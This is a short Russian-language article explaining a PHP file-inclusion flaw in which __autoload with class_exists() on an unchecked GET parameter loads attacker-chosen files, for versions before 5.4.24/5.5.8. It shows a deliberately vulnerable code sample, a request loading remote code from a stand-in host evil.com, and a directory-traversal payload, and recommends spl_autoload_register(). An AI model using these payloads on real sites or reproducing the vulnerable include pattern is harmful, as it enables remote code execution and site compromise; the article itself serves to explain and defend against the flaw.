RFI (Remote File Inclusion) — та самая уязвимость, которая позволяет хакеру залить свой shell в твой блог на php-движке. За ней стоит фича, которая появилась в PHP начиная с пятой версии: автоматическая подгрузка классов. Она позволяет не включать каждый класс в скрипты через include и require — вместо этого применяется magic-функция autoload. С примером будет яснее.

<?php
  function __autoload($class_name) {
      include $class_name . '.php';
  }

  $obj  = new MyClass1();
  $obj2 = new MyClass2();
?>

Как видишь, здесь нет описания обоих классов. Но как только мы обращаемся к ним при создании объектов, происходит вызов __autoload с именем неизвестного класса. Далее совершается попытка загрузить этот класс (с добавлением в конец .php). Удобная возможность.

Несмотря на то что теоретически имя класса может содержать только ограниченный набор символов (буквы, цифры, нижнее подчеркивание и слеш), до версий PHP 5.4.24 и 5.5.8 (не включительно) не имелось проверки на «нестандартные» символы, которые передавались функции autoload. В результате если атакующий мог контролировать имя класса, то он мог выполнить в приложении классический Remote или Local File Inclusion. Для этого ему необходимо было иметь возможность передать имя класса в одну из функций (не считая передачи через оператор new).

class_exists()
interface_exists()
method_exists()
property_exists()
is_subclass_of()
class_implements()

Это не весь перечень функций — другие проверки подвержены той же уязвимости. Вот как это работает:

<?php
  function __autoload($class_name) {
    include $class_name . '.php';
  }
  if(isset($_GET['class']) && class_exists($_GET['class'])) {
    $obj = new $_GET['class'];
  } else {
    die('No class found');
  }

  /* Some code... */
?>

Здесь мы можем передать имя класса в параметре GET, и файл будет подгружен функцией autoload при вызове class_exists. Если в настройках PHP включены allow_url_include и allow_url_fopen, то можно без проблем использовать схемы и загружать код с внешнего хоста:

vuln.php?class=http://evil.com/more_evil.php

Если нет, то наша главная возможность — это LFI c помощью dir traversal. Используя ../, мы можем перебраться в другую директорию и подгрузить файл оттуда. Куда именно нужно будет перебираться, зависит от ситуации. По сути, нам необходим какой-то файл в ОС, где мы контролируем содержимое хотя бы частично. Но это уже другая задачка.

vuln.php?class=../../../../../../../tmp/any/path/evil.php

Стоит отметить, что с учетом разнообразия версий PHP до сих пор на многих сайтах можно встретить уязвимую версию, поэтому вместо __autoload рекомендуется использовать spl_autoload_register().

Оставить мнение